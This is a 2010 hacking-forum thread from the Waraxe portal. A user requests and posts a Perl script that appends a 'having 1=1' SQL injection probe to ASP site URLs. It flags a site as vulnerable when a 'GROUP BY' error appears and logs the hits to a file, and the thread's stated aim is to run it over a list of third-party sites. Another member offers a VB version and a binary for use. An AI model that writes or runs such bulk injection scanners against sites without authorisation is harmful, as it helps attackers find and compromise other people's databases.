Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
November 22, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 227
Members: 0
Total: 227
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Perl -> can someone write that?
Post new topic  Reply to topic View previous topic :: View next topic 
can someone write that?
PostPosted: Tue Dec 07, 2010 3:03 am Reply with quote
pink_spider
Advanced user
Advanced user
 
Joined: Aug 28, 2010
Posts: 91




Hello everybody.
Well, I was thinking of writing a perl script to analyze a list of sites in a *. txt. then implement some data.

Code:
example: 'having 1=1"


Code:
list = www.site1.com/news.asp?=1


Code:
program = www.site1.com/news.asp?=1 having 1=1


and the program would read the page and look for the word "Group by" on the page.

if the page is found vulneralvel the UNCLOSED QUOTATION.

can someone write that?

HELP ME :d

Thank's
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Tue Dec 07, 2010 7:37 pm Reply with quote
pink_spider
Advanced user
Advanced user
 
Joined: Aug 28, 2010
Posts: 91




Code:
#!/usr/bin/perl
# Sophia Hacker Group cr3w 2009-2010
# Hackers de Sergipe
# Pink_spider79@hotmail.com
# pink_spider tools

use LWP::Simple;

system("Title Asp injection scanner v1.0 by Pink_spider - priv8");
system("cls");
print "\nScanner Asp Injection versao 1.0 by Pink_spider\n";

if(!$ARGV[0]){
print "Modo de uso: perl $0 www.site.com\n";
exit;
}
$site = $ARGV[0];
if($site !~/http/) { $site = 'http://' . $site; }

print "Scaneando $site ... aguarde\n";

$url = "%20having%201=1";

$site = $site . $url;

$resultado = get($site);

if($resultado =~ /GROUP BY/)
{
print "vul: $site\n";

open(a,">>resultados.txt");
print a "$site\n";
close(a);
}
else{
print "o site testado na esta vul\n";
}
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Tue Dec 07, 2010 7:38 pm Reply with quote
pink_spider
Advanced user
Advanced user
 
Joined: Aug 28, 2010
Posts: 91




any can write it script perl in vb ?
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Tue Dec 07, 2010 8:00 pm Reply with quote
vince213333
Advanced user
Advanced user
 
Joined: Aug 03, 2009
Posts: 737
Location: Belgium




I would do it if I wouldn't have this assignment for school :/ But if you know any VB, it's not that hard, give it a try Wink

edit: ok i'm giving it a go Wink


Last edited by vince213333 on Tue Dec 07, 2010 8:15 pm; edited 1 time in total
View user's profile Send private message
PostPosted: Tue Dec 07, 2010 8:07 pm Reply with quote
pink_spider
Advanced user
Advanced user
 
Joined: Aug 28, 2010
Posts: 91




I managed to write in perl the writings.
more wanted something similar in vb
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Tue Dec 07, 2010 8:16 pm Reply with quote
vince213333
Advanced user
Advanced user
 
Joined: Aug 03, 2009
Posts: 737
Location: Belgium




Might be ready soon, ain't got time tomorrow so otherwise you'll have it in 2 days. Want source or binary?
View user's profile Send private message
PostPosted: Tue Dec 07, 2010 8:26 pm Reply with quote
pink_spider
Advanced user
Advanced user
 
Joined: Aug 28, 2010
Posts: 91




wanted the two if possible.
to study the source code.
and the binary to use.

thank's: D
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Thu Dec 09, 2010 7:28 pm Reply with quote
vince213333
Advanced user
Advanced user
 
Joined: Aug 03, 2009
Posts: 737
Location: Belgium




Program's ready Smile Try and catch me on msn. I've figured out why that one page isn't showing as vuln :/
View user's profile Send private message
PostPosted: Sun Dec 12, 2010 2:57 am Reply with quote
pink_spider
Advanced user
Advanced user
 
Joined: Aug 28, 2010
Posts: 91




thank very much ! Laughing
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
can someone write that?
  www.waraxe.us Forum Index -> Perl
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






Game Hints
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.079 Seconds